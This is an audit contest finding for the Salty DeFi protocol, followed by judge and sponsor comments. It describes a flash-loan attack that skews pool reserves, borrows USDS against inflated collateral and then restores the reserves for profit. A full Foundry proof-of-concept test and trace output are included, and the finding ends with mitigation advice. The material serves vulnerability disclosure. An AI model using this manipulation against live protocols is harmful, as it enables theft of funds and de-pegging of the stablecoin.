Using Atomic arbitrage an attacker can knowingly make bad trades only to manipulate pool reserves and walk away with bad debts and net profit

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/Pools.sol#L382-L391 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L95-L111 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/arbitrage/ArbitrageSearch.sol#L39-L53

Vulnerability details

Impact

De-pegging of USDS and bad debts

Proof of Concept

Lets take a look at the following scenario 1 SALT -> 2.5\$ 1 ETH -> 2500\$ -> 1000 SALT 1 BTC -> 40000\$ -> 16 ETH WETH : SALT pool has -> 1 WETH : 1000 SALT WBTC : SALT pool has -> 1 WBTC : 16000 SALT WETH : WBTC pool has -> 0.01 WBTC : 0.16 WETH (For simpler calculations) all the pools are in the correct ratio as you can see from the prices. Bob flashloans 5000 SALT(or simply has them), 10 WBTC, 40 WETH = 512500$

He calls pools.depositSwapWithdraw() with tokenIn as SALT and tokenOut as WETH.

(uint wethAmountOut) = pools.depositSwapWithdraw(salt,weth,5000 ether,0,block.timestamp);

depositSwapWithdraw calls _adjustReservesForSwapAndAttemptArbitrage which in turn calls _adjustReservesForSwap which returns swapAmountOut as 0.833 WETH because -> (1 e18 * 5000 e18)/ (5000 e18 + 1000 e18) = 0.833 WETH Next in the call stack _attemptArbitrage is called and so on (Run the POC with stacktraces for more details).

    ├─ [78715] Pools::depositSwapWithdraw(salt: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], weth: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 5000000000000000000000 [5e21], 0, 432002 [4.32e5])
    │   ├─ [3442] salt::transferFrom(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], Pools: [0xa04158516381FC23EFDDeAF54258601A7572DCC8], 5000000000000000000000 [5e21])
    │   │   ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: Pools: [0xa04158516381FC23EFDDeAF54258601A7572DCC8], value: 5000000000000000000000 [5e21])
    │   │   └─ ← true
    │   ├─ emit LogData(valueInEth: 138888888888888889 [1.388e17], a0: 166666666666666667 [1.666e17], a1: 6000000000000000000000 [6e21], b0: 16000000000000000000000 [1.6e22], b1: 100000000 [1e8], c0: 1000000 [1e6], c1: 160000000000000000 [1.6e17], arbAmountIn: 20966000027126734 [2.096e16])
    │   ├─ emit SwapAndArbitrage(user: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], swapTokenIn: salt: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], swapTokenOut: weth: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], swapAmountIn: 5000000000000000000000 [5e21], swapAmountOut: 833333333333333333 [8.333e17], arbitrageProfit: 107172375010086648 [1.071e17])
    │   ├─ [3034] weth::transfer(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 833333333333333333 [8.333e17])
    │   │   ├─ emit Transfer(from: Pools: [0xa04158516381FC23EFDDeAF54258601A7572DCC8], to: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], value: 833333333333333333 [8.333e17])
    │   │   └─ ← true
    │   └─ ← 833333333333333333 [8.333e17]

Essentially after bob is done with swapping out his 5000 SALT to 0.833 WETH the pool reserves will Look like this

------------ ReserveAfterSaltSwap ------------- reserve_Wbtc_wbtc_weth_pool: 0.05021715 reserve_Weth_wbtc_weth_pool: 0.031861624962786618 reserve_Weth_weth_salt_pool: 0.187632666693793401 reserve_Salt_weth_salt_pool: 5329.562371097923848262 reserve_Salt_salt_wbtc_pool: 16670.437628902076151738 reserve_Wbtc_salt_wbtc_pool: 0.95978285 ------------ ReserveAfterSaltSwap -------------

Where reserve_Wbtc_wbtc_weth_pool represents WBTC reserve in WBTC : WETH pool , reserve_Weth_wbtc_weth_pool represents WETH reserve in WBTC : WETH and so on.

These can be verified by both running the coded POC and doing manual calculations of _arbitrage function using the 'LogData' event in the above plaintext blob, which i added to know to state of contracts before _arbitrage is called.

So you might notice that the wbtc & weth ratio are skewed almost making 5 WBTC = 3 WETH. Now bob calls depositCollateralAndIncreaseShare function with 10 WBTC and 10 WETH passed in as input amounts(flashloaned) . So the protocol adds 10 WBTC and 6.334 WETH as he did not dual zap. Next he takes maxBorrowableLoan 207931$ of USDS

At this point bob has 207931$ of USDS & 33.666 WETH. & wbtc-weth pool reserves are- WbtcReservesNow: 10.05021715 WethReservesNow: 6.376631282895707542

In the next step bob rebalances the reserves close to their original ration of 1 WBTC = 16 WETH and in the process swaps out most of his deposited WBTC for cheaper prices. In the poc he gives 30 WETH(~ approx 1.9 wbtc) to recieve back btcOut: 8.28846717.

Now bob's attack is complete and his final balances are finalWethBalanceBob: 4.488563675400412409 -> 11,222 \$ finalWbtcBalanceBob: 8.28846717 -> 331,536 \$ finalUsdsBalanceBob: 207930.961872416151153750 -> 207,931 \$

making his final dollar value ~= 550,690, yielding a net profit = 550,690 - 512,500(flashloan value) ~= 38,190 \$.

So in a nutshell the attack vector can be summarized as -

1. Initially make bad trades to skew the reserve ratio, here swapping out 5000 SALT for 0.833 weth was the bad trade where bob lost 4+ WETH, but skewed reserve ratio.
2. Add high liquidity to skewed wbtc-weth pool, BTC dominant(as it is always magnitudes costlier than weth in real world)
3. Take 'max Loan' and then bring the reserves back to original condition by swapping in weth and take back most of the btc which helped in taking the 'maxLoan' amount in the first place making the loan badly under collateralized.

It is also important to note that arbitrage path while swapping SALT to WETH & swapping WETH to WBTC is the same i.e WETH->SALT->WBTC->WETH Which was crucial for this attack vector to work.

    function _arbitragePath( IERC20 swapTokenIn, IERC20 swapTokenOut ) internal view returns (IERC20 arbToken2, IERC20 arbToken3)
        {
        // swap: WBTC->WETH
        // arb: WETH->WBTC->SALT->WETH
        if ( address(swapTokenIn) == address(wbtc))
        if ( address(swapTokenOut) == address(weth))
            return (wbtc, salt);

        // swap: WETH->WBTC
        // arb: WETH->SALT->WBTC->WETH
        if ( address(swapTokenIn) == address(weth))
        if ( address(swapTokenOut) == address(wbtc))
            return (salt, wbtc);

        // swap: WETH->swapTokenOut
        // arb: WETH->WBTC->swapTokenOut->WETH
        if ( address(swapTokenIn) == address(weth))
            return (wbtc, swapTokenOut);

        // swap: swapTokenIn->WETH
        // arb: WETH->swapTokenIn->WBTC->WETH <@audit if swapTokenIn = SALT then the path become WETH->SALT->WBTC->WETH same as WETH->WBTC path
        if ( address(swapTokenOut) == address(weth))
            return (swapTokenIn, wbtc);

        // swap: swapTokenIn->swapTokenOut
        // arb: WETH->swapTokenOut->swapTokenIn->WETH
        return (swapTokenOut, swapTokenIn);
        }

Now here is the coded POC, add it to src/pools/tests/Pools.t.sol and run using

COVERAGE="yes" NETWORK="sep" forge test --match-test testBadDebt4 -vvvv --rpc-url  https://rpc.sepolia.org

        function emitHelper() internal {
            (uint reserveWbtc_wbtc_weth_pool,uint reserveWeth_wbtc_weth_pool)= pools.getPoolReserves(wbtc,weth);
            (uint reserveWeth_weth_dai_pool,uint reserveDai_weth_dai_pool) = pools.getPoolReserves(weth,dai);
            (uint reserveWbtc_wbtc_dai_pool,uint reserveDai_wbtc_dai_pool) = pools.getPoolReserves(wbtc,dai);
            (uint reserveWeth_weth_salt_pool,uint reserveSalt_weth_salt_pool) = pools.getPoolReserves(weth,salt);
            (uint reserveSalt_salt_wbtc_pool,uint reserveWbtc_salt_wbtc_pool)  = pools.getPoolReserves(salt,wbtc);

            emit log_named_decimal_uint("reserve_Wbtc_wbtc_weth_pool", reserveWbtc_wbtc_weth_pool, 8); 
            emit log_named_decimal_uint("reserve_Weth_wbtc_weth_pool", reserveWeth_wbtc_weth_pool, 18);
            emit log_named_decimal_uint("reserve_Weth_weth_dai_pool", reserveWeth_weth_dai_pool, 18);
            emit log_named_decimal_uint("reserve_Dai_weth_dai_pool", reserveDai_weth_dai_pool, 18);
            emit log_named_decimal_uint("reserve_Wbtc_wbtc_dai_pool", reserveWbtc_wbtc_dai_pool, 8);
            emit log_named_decimal_uint("reserve_Dai_wbtc_dai_pool", reserveDai_wbtc_dai_pool, 18);
            emit log_named_decimal_uint("reserve_Weth_weth_salt_pool", reserveWeth_weth_salt_pool, 18);
            emit log_named_decimal_uint("reserve_Salt_weth_salt_pool", reserveSalt_weth_salt_pool, 18);
            emit log_named_decimal_uint("reserve_Salt_salt_wbtc_pool", reserveSalt_salt_wbtc_pool, 18);
            emit log_named_decimal_uint("reserve_Wbtc_salt_wbtc_pool", reserveWbtc_salt_wbtc_pool, 8);
        }

        function setupSaltWethPool() public {
            vm.startPrank(DEPLOYER);
            salt.approve(address(collateralAndLiquidity), 1000 ether);
            weth.approve(address(collateralAndLiquidity), 1 ether);
            (,,uint addedLiq)=collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,weth,1000 ether, 1 ether, 1001 ether,block.timestamp,false);
            assertEq(addedLiq, 1001 ether);
            vm.stopPrank();
        }

        function setupSaltWbtcPool() public {
            vm.startPrank(DEPLOYER);
            salt.approve(address(collateralAndLiquidity), 16000 ether);
            wbtc.approve(address(collateralAndLiquidity), 1e8);
            collateralAndLiquidity.depositLiquidityAndIncreaseShare(salt,wbtc,16000 ether, 1e8, 0,block.timestamp,false);
            vm.stopPrank();
        }

        function calculateDollarValue(uint wbtcAmount , uint wethAmount)  internal view returns(uint totalValue){
            wbtcAmount = wbtcAmount * 10**10;
            // in 10**18
            uint wbtcValue = (wbtcAmount * forcedPriceFeed.getPriceBTC()) / 1e18;
            uint wethValue = (wethAmount * forcedPriceFeed.getPriceETH() ) / 1e18;
            totalValue = wbtcValue + wethValue;
        }

        function testBadDebt4() public {
            vm.label(address(dai),"dai");
            vm.label(address(weth),"weth");
            vm.label(address(wbtc),"wbtc");
            vm.label(address(salt),"salt");
            vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceBTC()"))), abi.encode(40000 ether));
            vm.mockCall(address(forcedPriceFeed),abi.encodeWithSelector(bytes4(keccak256("getPriceETH()"))), abi.encode(2500 ether));
            vm.startPrank(DEPLOYER);
            //1 wbtc -> 40,000$ , 1 weth -> 2500$ , 1 salt ->2.5$(Let's say)
            // so 1 wbtc -> 16 weth , 1 weth -> 1000 salt
            // 10e8 -> wbtc , 40-> weth , 5000 eth salt ~= 5 weth (assumed price of salt = 2.5$)
            uint initialDollarValue = calculateDollarValue(10e8,45 ether);
            emit log_named_decimal_uint("initialDollarValue",initialDollarValue,18);
            assertEq(usds.balanceOf(bob),0);

            // bob flashloans the tokens
            wbtc.transfer(bob, 10e8);
            weth.transfer(bob,40 ether);
            salt.transfer(bob,5000 ether);
            wbtc.approve(address(collateralAndLiquidity),type(uint256).max);
            weth.approve(address(collateralAndLiquidity),type(uint256).max);
            collateralAndLiquidity.depositCollateralAndIncreaseShare(1e6,0.16 ether,0,block.timestamp,false);
            vm.stopPrank();

            //setting up both the pools 
            setupSaltWbtcPool();
            setupSaltWethPool();

            // logging intial reserves
            console.log();
            console.log("------------ InitialReserves -------------");
            emitHelper();
            console.log("------------ InitialReserves -------------");
            console.log();

            //swap out to imbalance the reserves
            vm.startPrank(bob);
            salt.approve(address(pools),type(uint).max);
            (uint wethAmountOut) =  pools.depositSwapWithdraw(salt,weth,5000 ether,0,block.timestamp);
            emit log_named_decimal_uint("wethAmountOut", wethAmountOut, 18);

            console.log();
            console.log("------------ ReserveAfterSaltSwap -------------");
            emitHelper();
            console.log("------------ ReserveAfterSaltSwap -------------");
            console.log();

            wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
            weth.approve(address(collateralAndLiquidity), type(uint256).max);
            weth.approve(address(pools),type(uint256).max);
            // add Liquidity to imbalanced reserves
            (uint wbtcAdded,uint wethAdded,) = collateralAndLiquidity.depositCollateralAndIncreaseShare(10e8,10 ether,0,block.timestamp,false);
            assertEq(wbtcAdded,10e8);
            uint usdsAmount = collateralAndLiquidity.maxBorrowableUSDS(bob);
            emit log_named_decimal_uint("usdsAmount", usdsAmount, 18);
            emit log_named_decimal_uint("wethAdded", wethAdded, 18);
            collateralAndLiquidity.borrowUSDS(usdsAmount);
            assertEq(usds.balanceOf(bob),usdsAmount);
            (uint wbtcReserve, uint wethReserve) = pools.getPoolReserves(wbtc,weth);
            emit log_named_decimal_uint("WbtcReservesNow", wbtcReserve, 8);
            emit log_named_decimal_uint("WethReservesNow", wethReserve, 18);

            // give in 30 weth to a pool where 5 WBTC ~= 3 WETH
            // in this step bob gets back most of his 10 WBTC given 9 lines ago.
            (uint amountOut)=pools.depositSwapWithdraw(weth,wbtc,30 ether,0,block.timestamp);
            emit log_named_decimal_uint("btcOut", amountOut, 8);

            uint finalWethBalanceBob = weth.balanceOf(bob);
            uint finalWbtcBalanceBob = wbtc.balanceOf(bob);
            uint finalUsdsBalanceBob = usds.balanceOf(bob);
            // uint finalSaltBalanceBob = salt.balanceOf(bob);
            assertEq(salt.balanceOf(bob) ,0);

            emit log_named_decimal_uint("finalWethBalanceBob",finalWethBalanceBob, 18);
            emit log_named_decimal_uint("finalWbtcBalanceBob", finalWbtcBalanceBob, 8);
            emit log_named_decimal_uint("finalUsdsBalanceBob", finalUsdsBalanceBob, 18);
            uint finalDollarValue = calculateDollarValue(finalWbtcBalanceBob, finalWethBalanceBob) + finalUsdsBalanceBob;
            emit log_named_decimal_uint("finalDollarValue", finalDollarValue, 18);
            emit log_named_decimal_uint("Profit",finalDollarValue-initialDollarValue,18);
            vm.stopPrank();
            console.log();
            console.log("------------ ReserveAfter -------------");
            emitHelper();
            console.log("------------ ReserveAfter -------------");
        }

If you want to manually verify u can also add the LogData event in Pools.sol's _attempArbitrage

    function _attemptArbitrage( IERC20 swapTokenIn, IERC20 swapTokenOut, uint256 swapAmountIn ) internal returns (uint256 arbitrageProfit )
        {
        ....
        uint256 arbitrageAmountIn = _bisectionSearch(swapAmountInValueInETH, reservesA0, reservesA1, reservesB0, reservesB1, reservesC0, reservesC1 );

        emit LogData(swapAmountInValueInETH,reservesA0,reservesA1,reservesB0,reservesB1,reservesC0,reservesC1,arbitrageAmountIn);
        ///@audit ^ the new event to check proceedings during internal calls
        // If arbitrage is viable, then perform it
        if (arbitrageAmountIn > 0)
            arbitrageProfit = _arbitrage(arbToken2, arbToken3, arbitrageAmountIn);
        }

Tools Used

Manual review

Recommended Mitigation Steps

1. Before giving out loans make sure the reserves ratio are in an acceptable state according to price aggregator.
2. Make sure the arbitrage path for SALT -> WETH & WETH -> WBTC is not the same.

Assessed type

Error

[c4-judge]

Picodes marked the issue as primary issue

[c4-sponsor]

othernet-global (sponsor) disputed

[othernet-global]

In the POC the amount of SALT swapped is 5x the amount of SALT in the pool reserves. Yes, this will shift the reserves and is acceptable behavior as a single trade being 5x the reserves is not realistic.

[Picodes]

This is a duplicate of #222 with a detailed example.

[c4-judge]

Picodes marked the issue as duplicate of #222

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as satisfactory